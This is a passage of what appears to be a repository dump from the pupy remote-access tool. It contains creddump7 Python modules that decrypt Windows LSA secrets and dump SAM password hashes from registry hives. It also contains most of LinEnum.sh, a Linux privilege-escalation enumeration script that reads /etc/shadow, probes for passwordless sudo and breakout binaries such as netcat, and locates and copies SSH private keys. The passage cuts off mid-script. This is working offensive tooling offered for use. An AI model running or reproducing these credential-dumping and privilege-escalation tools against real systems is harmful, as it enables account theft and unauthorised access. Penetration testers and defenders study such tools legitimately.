print(\"%s:%d:%s:%s:::\" % (get_user_name(user), int(user.Name,16),\n                            lmhash.encode('hex'), nthash.encode('hex')))\n\ndef dump_file_hashes(syshive_fname, samhive_fname):\n    sysaddr = HiveFileAddressSpace(syshive_fname)\n    samaddr = HiveFileAddressSpace(samhive_fname)\n    dump_hashes(sysaddr, samaddr)\n"
  },
  {
    "path": "pupy/external/creddump7/framework/win32/lsasecrets.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom .rawreg import *\nfrom ..addrspace import HiveFileAddressSpace\nfrom .hashdump import get_bootkey, str_to_key\nfrom Crypto.Hash import MD5, SHA256\nfrom Crypto.Cipher import ARC4,DES, AES\n\n\ndef get_lsa_key(secaddr, bootkey, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    if vista:\n        enc_reg_key = open_key(root, [\"Policy\", \"PolEKList\"])\n    else:\n        enc_reg_key = open_key(root, [\"Policy\", \"PolSecretEncryptionKey\"])\n\n    if not enc_reg_key:\n        return None\n\n    enc_reg_value = enc_reg_key.ValueList.List[0]\n    if not enc_reg_value:\n        return None\n\n    obf_lsa_key = secaddr.read(enc_reg_value.Data.value,\n            enc_reg_value.DataLength.value)\n    if not obf_lsa_key:\n        return None\n\n    if not vista:\n        md5 = MD5.new()\n        md5.update(bootkey)\n        for i in range(1000):\n            md5.update(obf_lsa_key[60:76])\n        rc4key = md5.digest()\n        rc4 = ARC4.new(rc4key)\n        lsa_key = rc4.decrypt(obf_lsa_key[12:60])\n        lsa_key = lsa_key[0x10:0x20]\n    else:\n        lsa_key = decrypt_aes(obf_lsa_key, bootkey)\n        lsa_key = lsa_key[68:100]\n\n    return lsa_key\n\n\ndef decrypt_secret(secret, key):\n    \"\"\"Python implementation of SystemFunction005.\n\n    Decrypts a block of data with DES using given key.\n    Note that key can be longer than 7 bytes.\"\"\"\n    decrypted_data = ''\n    j = 0   # key index\n    for i in range(0,len(secret),8):\n        enc_block = secret[i:i+8]\n        block_key = key[j:j+7]\n        des_key = str_to_key(block_key)\n\n        des = DES.new(des_key, DES.MODE_ECB)\n        decrypted_data += des.decrypt(enc_block)\n\n        j += 7\n        if len(key[j:j+7]) < 7:\n            j = len(key[j:j+7])\n\n    (dec_data_len,) = unpack(\"<L\", decrypted_data[:4])\n    return decrypted_data[8:8+dec_data_len]\n\n\ndef decrypt_aes(secret, key):\n    sha = SHA256.new()\n    sha.update(key)\n    for _i in range(1, 1000+1):\n        sha.update(secret[28:60])\n    aeskey = sha.digest()\n\n    data = b''\n    for i in range(60, len(secret), 16):\n        aes = AES.new(aeskey, AES.MODE_CBC, b'\\x00'*16)\n        buf = secret[i : i + 16]\n        if len(buf) < 16:\n            buf += (16-len(buf)) * \"\\00\"\n\n        data += aes.decrypt(buf)\n\n    return data\n\n\ndef get_secret_by_name(secaddr, name, lsakey, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    enc_secret_key = open_key(root, [\"Policy\", \"Secrets\", name, \"CurrVal\"])\n    if not enc_secret_key:\n        return None\n\n    enc_secret_value = enc_secret_key.ValueList.List[0]\n    if not enc_secret_value:\n        return None\n\n    enc_secret = secaddr.read(enc_secret_value.Data.value,\n            enc_secret_value.DataLength.value)\n    if not enc_secret:\n        return None\n\n    if vista:\n        secret = decrypt_aes(enc_secret, lsakey)\n    else:\n        secret = decrypt_secret(enc_secret[0xC:], lsakey)\n\n    return secret\n\n\ndef get_secrets(sysaddr, secaddr, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    bootkey = get_bootkey(sysaddr)\n    lsakey = get_lsa_key(secaddr, bootkey, vista)\n\n    secrets_key = open_key(root, [\"Policy\", \"Secrets\"])\n    if not secrets_key:\n        return None\n\n    secrets = {}\n    for key in subkeys(secrets_key):\n        sec_val_key = open_key(key, [\"CurrVal\"])\n        if not sec_val_key:\n            continue\n\n        enc_secret_value = sec_val_key.ValueList.List[0]\n        if not enc_secret_value:\n            continue\n\n        enc_secret = secaddr.read(enc_secret_value.Data.value,\n                enc_secret_value.DataLength.value)\n        if not enc_secret:\n            continue\n\n        if vista:\n            secret = decrypt_aes(enc_secret, lsakey)\n        else:\n            secret = decrypt_secret(enc_secret[0xC:], lsakey)\n\n        secrets[key.Name] = secret\n\n    return secrets\n\n\ndef get_file_secrets(sysfile, secfile, vista):\n    sysaddr = HiveFileAddressSpace(sysfile)\n    secaddr = HiveFileAddressSpace(secfile)\n\n    return get_secrets(sysaddr, secaddr, vista)\n"
  },
  {
    "path": "pupy/external/creddump7/framework/win32/rawreg.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\nfrom __future__ import print_function\n\nfrom ..newobj import Obj,Pointer\nfrom struct import unpack\n\nROOT_INDEX = 0x20\n\nLH_SIG = unpack('<H', b'lh')[0]\nLF_SIG = unpack('<H', b'lf')[0]\nRI_SIG = unpack('<H', b'ri')[0]\n\ndef get_root(address_space):\n    return Obj('_CM_KEY_NODE', ROOT_INDEX, address_space)\n\n\ndef open_key(root, key):\n    if key == []:\n        return root\n\n    keyname = key.pop(0)\n    for s in subkeys(root):\n        if s.Name.upper() == keyname.upper():\n            return open_key(s, key)\n    print(\"ERR: Couldn't find subkey %s of %s\" % (keyname, root.Name))\n    return None\n\n\ndef subkeys(key,stable=True):\n    if stable:\n        k = 0\n    else:\n        k = 1\n\n    sk = (key.SubKeyLists[k]/[\"pointer\", [\"_CM_KEY_INDEX\"]]).value\n    sub_list = []\n\n    if (sk.Signature.value == LH_SIG or\n            sk.Signature.value == LF_SIG):\n        sub_list = sk.List\n\n    elif sk.Signature.value == RI_SIG:\n        lfs = []\n        for i in range(sk.Count.value):\n            off,tp = sk.get_offset(['List', i])\n            lfs.append(Pointer(\"pointer\", sk.address+off, sk.space,\n                [\"_CM_KEY_INDEX\"]))\n        for lf in lfs:\n            sub_list += lf.List\n\n    for s in sub_list:\n        if s.is_valid() and s.Signature.value == 27502:\n            yield s.value\n\n\ndef values(key):\n    for v in key.ValueList.List:\n        yield v.value\n\n\ndef walk(root):\n    for k in subkeys(root):\n        yield k\n        for j in walk(k):\n            yield j\n"
  },
  {
    "path": "pupy/external/creddump7/lsadump.py",
    "content": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nfrom framework.win32.lsasecrets import get_file_secrets\n\n# Hex dump code from\n# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812\n\nFILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])\n\ndef showUsage():\n    print(\"usage: %s <system hive> <security hive> <Vista/7>\" % sys.argv[0])\n    print(\"\\nExample (Windows Vista/7):\")\n    print(\"%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true\" % sys.argv[0])\n    print(\"\\nExample (Windows XP):\")\n    print(\"%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false\" % sys.argv[0])\n\n\ndef dump(src, length=8):\n    N=0; result=''\n    while src:\n       s,src = src[:length],src[length:]\n       hexa = ' '.join([\"%02X\"%ord(x) for x in s])\n       s = s.translate(FILTER)\n       result += \"%04X   %-*s   %s\\n\" % (N, length*3, hexa, s)\n       N+=length\n    return result\n\nif len(sys.argv) < 4 or sys.argv[3] not in [\"true\", \"false\"]:\n    showUsage()\n    sys.exit(1)\nelse:\n    vista = True if sys.argv[3] == \"true\" else False\n\nsecrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)\nif not secrets:\n    print(\"Unable to read LSA secrets. Perhaps you provided invalid hive files?\")\n    sys.exit(1)\n\nfor k in secrets:\n    print(k)\n    print(dump(secrets[k], length=16))\n"
  },
  {
    "path": "pupy/external/creddump7/pwdump.py",
    "content": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nfrom framework.win32.hashdump import dump_file_hashes\n\nif len(sys.argv) < 3:\n    print(\"usage: %s <system hive> <SAM hive>\" % sys.argv[0])\n    sys.exit(1)\n\ndump_file_hashes(sys.argv[1], sys.argv[2])\n"
  },
  {
    "path": "pupy/external/linenum/linenum.sh",
    "content": "#!/bin/bash\n#A script to enumerate local information from a Linux host\nv=\"version 0.5 (experimental)\"\n#@oshearing\n\n#help function\nusage () \n{ \necho -e \"\\n\\e[00;31m#########################################################\\e[00m\" \necho -e \"\\e[00;31m#\\e[00m\" \"\\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\\e[00m\" \"\\e[00;31m#\\e[00m\"\necho -e \"\\e[00;31m#########################################################\\e[00m\"\necho -e \"\\e[00;33m# www.rebootuser.com\\e[00m\"\necho -e \"\\e[00;33m# $v\\e[00m\\n\"\necho -e \"\\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \\e[00m\\n\"\n\n\t\techo \"OPTIONS:\"\n\t\techo \"-k\tEnter keyword\"\n\t\techo \"-e\tEnter export location\"\n\t\techo \"-t\tInclude thorough (lengthy) tests\"\n\t\techo \"-r\tEnter report name\" \n\t\techo \"-h\tDisplays this help text\"\n\t\techo -e \"\\n\"\n\t\techo \"Running with no options = limited scans/no output file\"\n\t\t\necho -e \"\\e[00;31m#########################################################\\e[00m\"\t\t\n}\nwhile getopts \"h:k:r:e:t\" option; do\n case \"${option}\" in\n\t  k) keyword=${OPTARG};;\n\t  r) report=${OPTARG}\"-\"`date +\"%d-%m-%y\"`;;\n\t  e) export=${OPTARG};;\n\t  t) thorough=1;;\n\t  h) usage; exit;;\n\t  *) usage; exit;;\n esac\ndone\n\necho -e \"\\n\\e[00;31m#########################################################\\e[00m\" |tee -a $report 2>/dev/null\necho -e \"\\e[00;31m#\\e[00m\" \"\\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\\e[00m\" \"\\e[00;31m#\\e[00m\" |tee -a $report 2>/dev/null\necho -e \"\\e[00;31m#########################################################\\e[00m\" |tee -a $report 2>/dev/null\necho -e \"\\e[00;33m# www.rebootuser.com\\e[00m\" |tee -a $report 2>/dev/null\necho -e \"\\e[00;33m# $version\\e[00m\\n\" |tee -a $report 2>/dev/null\n\necho \"Debug Info\" |tee -a $report 2>/dev/null\n\nif [ \"$keyword\" ]; then \n\techo \"keyword = $keyword\" |tee -a $report 2>/dev/null\nelse \n\t:\nfi\n\nif [ \"$report\" ]; then \n\techo \"report name = $report\" |tee -a $report 2>/dev/null\nelse \n\t:\nfi\n\nif [ \"$export\" ]; then \n\techo \"export location = $export\" |tee -a $report 2>/dev/null\nelse \n\t:\nfi\n\nif [ \"$thorough\" ]; then \n\techo \"thorough tests = enabled\" |tee -a $report 2>/dev/null\nelse \n\techo \"thorough tests = disabled\" |tee -a $report 2>/dev/null\nfi\n\nsleep 2\n\nif [ \"$export\" ]; then\n  mkdir $export 2>/dev/null\n  format=$export/LinEnum-export-`date +\"%d-%m-%y_%k:%M\"`\n  mkdir $format 2>/dev/null\nelse \n  :\nfi\n\nwho=`whoami` |tee -a $report 2>/dev/null\necho -e \"\\n\" |tee -a $report 2>/dev/null\n\necho -e \"\\e[00;33mScan started at:\"; date |tee -a $report 2>/dev/null\necho -e \"\\e[00m\\n\" |tee -a $report 2>/dev/null\n\necho -e \"\\e[00;33m### SYSTEM ##############################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#basic kernel info\nunameinfo=`uname -a 2>/dev/null`\nif [ \"$unameinfo\" ]; then\n  echo -e \"\\e[00;31mKernel information:\\e[00m\\n$unameinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nprocver=`cat /proc/version 2>/dev/null`\nif [ \"$procver\" ]; then\n  echo -e \"\\e[00;31mKernel information (continued):\\e[00m\\n$procver\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#search all *-release files for version info\nrelease=`cat /etc/*-release 2>/dev/null`\nif [ \"$release\" ]; then\n  echo -e \"\\e[00;31mSpecific release information:\\e[00m\\n$release\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#target hostname info\nhostnamed=`hostname 2>/dev/null`\nif [ \"$hostnamed\" ]; then\n  echo -e \"\\e[00;31mHostname:\\e[00m\\n$hostnamed\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### USER/GROUP ##########################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#current user details\ncurrusr=`id 2>/dev/null`\nif [ \"$currusr\" ]; then\n  echo -e \"\\e[00;31mCurrent user/group info:\\e[00m\\n$currusr\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#last logged on user information\nlastlogedonusrs=`lastlog |grep -v \"Never\" 2>/dev/null`\nif [ \"$lastlogedonusrs\" ]; then\n  echo -e \"\\e[00;31mUsers that have previously logged onto the system:\\e[00m\\n$lastlogedonusrs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#strips out username uid and gid values from /etc/passwd\nusrsinfo=`cat /etc/passwd | cut -d \":\" -f 1,2,3,4 2>/dev/null`\nif [ \"$usrsinfo\" ]; then\n  echo -e \"\\e[00;31mAll users and uid/gid info:\\e[00m\\n$usrsinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#lists all id's and respective group(s)\ngrpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d\":\" -f1 2>/dev/null);do id $i;done 2>/dev/null`\nif [ \"$grpinfo\" ]; then\n  echo -e \"\\e[00;31mGroup memberships:\\e[00m\\n$grpinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if any hashes are stored in /etc/passwd (depreciated  *nix storage method)\nhashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null`\nif [ \"$hashesinpasswd\" ]; then\n  echo -e \"\\e[00;33mIt looks like we have password hashes in /etc/passwd!\\e[00m\\n$hashesinpasswd\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n \n#locate custom user accounts with some 'known default' uids\nreadpasswd=`grep -v \"^#\" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'`\nif [ \"$readpasswd\" ]; then\n  echo -e \"\\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\\e[00m\\n$readpasswd\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$readpasswd\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/passwd $format/etc-export/passwd 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if the shadow file can be read\nreadshadow=`cat /etc/shadow 2>/dev/null`\nif [ \"$readshadow\" ]; then\n  echo -e \"\\e[00;33m***We can read the shadow file!\\e[00m\\n$readshadow\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$readshadow\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/shadow $format/etc-export/shadow 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant\nreadmasterpasswd=`cat /etc/master.passwd 2>/dev/null`\nif [ \"$readmasterpasswd\" ]; then\n  echo -e \"\\e[00;33m***We can read the master.passwd file!\\e[00m\\n$readmasterpasswd\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$readmasterpasswd\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null\nelse \n  :\nfi\n\n#all root accounts (uid 0)\necho -e \"\\e[00;31mSuper user account(s):\\e[00m\" | tee -a $report 2>/dev/null; grep -v -E \"^#\" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null\necho -e \"\\n\" |tee -a $report 2>/dev/null\n\n#pull out vital sudoers info\nsudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v \"#\"`\nif [ \"$sudoers\" ]; then\n  echo -e \"\\e[00;31mSudoers configuration (condensed):\\e[00m$sudoers\" | tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$sudoers\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null\nelse \n  :\nfi\n\n#can we sudo without supplying a password\nsudoperms=`echo '' | sudo -S -l 2>/dev/null`\nif [ \"$sudoperms\" ]; then\n  echo -e \"\\e[00;33mWe can sudo without supplying a password!\\e[00m\\n$sudoperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#known 'good' breakout binaries\nsudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\\|perl\\|'awk'\\|'find'\\|'bash'\\|'sh'\\|'man'\\|'more'\\|'less'\\|'vi'\\|'vim'\\|'nc'\\|'netcat'\\|python\\|ruby\\|lua\\|irb' | xargs -r ls -la 2>/dev/null`\nif [ \"$sudopwnage\" ]; then\n  echo -e \"\\e[00;33m***Possible Sudo PWNAGE!\\e[00m\\n$sudopwnage\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#checks to see if roots home directory is accessible\nrthmdir=`ls -ahl /root/ 2>/dev/null`\nif [ \"$rthmdir\" ]; then\n  echo -e \"\\e[00;33m***We can read root's home directory!\\e[00m\\n$rthmdir\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#displays /home directory permissions - check if any are lax\nhomedirperms=`ls -ahl /home/ 2>/dev/null`\nif [ \"$homedirperms\" ]; then\n  echo -e \"\\e[00;31mAre permissions on /home directories lax:\\e[00m\\n$homedirperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#looks for files we can write to that don't belong to us\nif [ \"$thorough\" = \"1\" ]; then\n  grfilesall=`find / -writable -not -user \\`whoami\\` -type f -not -path \"/proc/*\" -exec ls -al {} \\; 2>/dev/null`\n  if [ \"$grfilesall\" ]; then\n    echo -e \"\\e[00;31mFiles not owned by user but writable by group:\\e[00m\\n$grfilesall\" |tee -a $report 2>/dev/null\n    echo -e \"\\n\" |tee -a $report 2>/dev/null\n  else\n    :\n  fi\nfi\n\n#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch\nif [ \"$thorough\" = \"1\" ]; then\nwrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \\; 2>/dev/null`\n\tif [ \"$wrfileshm\" ]; then\n\t\techo -e \"\\e[00;31mWorld-readable files within /home:\\e[00m\\n$wrfileshm\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\nif [ \"$thorough\" = \"1\" ]; then\n\tif [ \"$export\" ] && [ \"$wrfileshm\" ]; then\n\t\tmkdir $format/wr-files/ 2>/dev/null\n\t\tfor i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#lists current user's home directory contents\nif [ \"$thorough\" = \"1\" ]; then\nhomedircontents=`ls -ahl ~ 2>/dev/null`\n\tif [ \"$homedircontents\" ] ; then\n\t\techo -e \"\\e[00;31mHome directory contents:\\e[00m\\n$homedircontents\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch\nif [ \"$thorough\" = \"1\" ]; then\nsshfiles=`find / -name \"id_dsa*\" -o -name \"id_rsa*\" -o -name \"known_hosts\" -o -name \"authorized_hosts\" -o -name \"authorized_keys\" 2>/dev/null |xargs -r ls`\n\tif [ \"$sshfiles\" ]; then\n\t\techo -e \"\\e[00;31mSSH keys/host information found in the following locations:\\e[00m\\n$sshfiles\" |tee -a $report 2>/dev/null\n\t\techo -e \"\\n\" |tee -a $report 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n  :\nfi\n\nif [ \"$thorough\" = \"1\" ]; then\n\tif [ \"$export\" ] && [ \"$sshfiles\" ]; then\n\t\tmkdir $format/ssh-files/ 2>/dev/null\n\t\tfor i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null\n\telse \n\t\t:\n\tfi\n  else\n\t:\nfi\n\n#is root permitted to login via ssh\nsshrootlogin=`grep \"PermitRootLogin \" /etc/ssh/sshd_config 2>/dev/null | grep -v \"#\" | awk '{print  $2}'`\nif [ \"$sshrootlogin\" = \"yes\" ]; then\n  echo -e \"\\e[00;31mRoot is allowed to login via SSH:\\e[00m\" |tee -a $report 2>/dev/null; grep \"PermitRootLogin \" /etc/ssh/sshd_config 2>/dev/null | grep -v \"#\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### ENVIRONMENTAL #######################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#current path configuration\npathinfo=`echo $PATH 2>/dev/null`\nif [ \"$pathinfo\" ]; then\n  echo -e \"\\e[00;31mPath information:\\e[00m\\n$pathinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#lists available shells\nshellinfo=`cat /etc/shells 2>/dev/null`\nif [ \"$shellinfo\" ]; then\n  echo -e \"\\e[00;31mAvailable shells:\\e[00m\\n$shellinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#current umask value with both octal and symbolic output\numask=`umask -S 2>/dev/null & umask 2>/dev/null`\nif [ \"$umask\" ]; then\n  echo -e \"\\e[00;31mCurrent umask value:\\e[00m\\n$umask\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#umask value as in /etc/login.defs\numaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v \"#\" 2>/dev/null`\nif [ \"$umaskdef\" ]; then\n  echo -e \"\\e[00;31mumask value as specified in /etc/login.defs:\\e[00m\\n$umaskdef\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#password policy information as stored in /etc/login.defs\nlogindefs=`cat /etc/login.defs 2>/dev/null | grep \"PASS_MAX_DAYS\\|PASS_MIN_DAYS\\|PASS_WARN_AGE\\|ENCRYPT_METHOD\" 2>/dev/null | grep -v \"#\" 2>/dev/null`\nif [ \"$logindefs\" ]; then\n  echo -e \"\\e[00;31mPassword and storage information:\\e[00m\\n$logindefs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nif [ \"$export\" ] && [ \"$logindefs\" ]; then\n  mkdir $format/etc-export/ 2>/dev/null\n  cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### JOBS/TASKS ##########################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#are there any cron jobs configured\ncronjobs=`ls -la /etc/cron* 2>/dev/null`\nif [ \"$cronjobs\" ]; then\n  echo -e \"\\e[00;31mCron jobs:\\e[00m\\n$cronjobs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#can we manipulate these jobs in any way\ncronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \\; -exec cat {} 2>/dev/null \\;`\nif [ \"$cronjobwwperms\" ]; then\n  echo -e \"\\e[00;33m***World-writable cron jobs and file contents:\\e[00m\\n$cronjobwwperms\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#contab contents\ncrontab=`cat /etc/crontab 2>/dev/null`\nif [ \"$crontab\" ]; then\n  echo -e \"\\e[00;31mCrontab contents:\\e[00m\\n$crontab\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\ncrontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null`\nif [ \"$crontabvar\" ]; then\n  echo -e \"\\e[00;31mAnything interesting in /var/spool/cron/crontabs:\\e[00m\\n$crontabvar\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nanacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null`\nif [ \"$anacronjobs\" ]; then\n  echo -e \"\\e[00;31mAnacron jobs and associated file permissions:\\e[00m\\n$anacronjobs\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\nanacrontab=`ls -la /var/spool/anacron 2>/dev/null`\nif [ \"$anacrontab\" ]; then\n  echo -e \"\\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\\e[00m\\n$anacrontab\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command)\ncronother=`cat /etc/passwd | cut -d \":\" -f 1 | xargs -n1 crontab -l -u 2>/dev/null`\nif [ \"$cronother\" ]; then\n  echo -e \"\\e[00;31mJobs held by all users:\\e[00m\\n$cronother\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\necho -e \"\\e[00;33m### NETWORKING  ##########################################\\e[00m\" |tee -a $report 2>/dev/null\n\n#nic information\nnicinfo=`/sbin/ifconfig -a 2>/dev/null`\nif [ \"$nicinfo\" ]; then\n  echo -e \"\\e[00;31mNetwork & IP info:\\e[00m\\n$nicinfo\" |tee -a $report 2>/dev/null\n  echo -e \"\\n\" |tee -a $report 2>/dev/null\nelse \n  :\nfi\n\n#dns settings\nnsinfo=`cat /etc/resolv.conf 2>/dev/null | grep \"nameserver\"`\nif [ \"$nsinfo\" ]; then\n  echo -e \"\\e[00;31mNameserver(s):\\e[00m\\n$nsinfo\" |tee -a $report 2>/dev/null\n  